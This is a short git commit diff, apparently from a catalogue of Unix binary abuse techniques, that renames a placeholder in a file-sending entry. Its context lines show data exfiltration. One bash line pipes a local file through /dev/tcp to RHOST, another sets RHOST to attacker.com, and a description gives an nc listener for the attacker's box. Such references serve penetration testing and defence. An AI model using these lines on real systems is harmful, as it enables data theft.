Replace where_to_save with file_to_save

This commit is contained in:
Emilio Pinna
2018-06-04 18:53:35 +01:00
parent 6a747b0920
commit 7e5bcab249
12 changed files with 19 additions and 19 deletions

View File

@@ -13,7 +13,7 @@ functions:
export RPORT=12345
export LFILE=file_to_send
bash -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT'
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
code: |
export RHOST=attacker.com
export RPORT=12345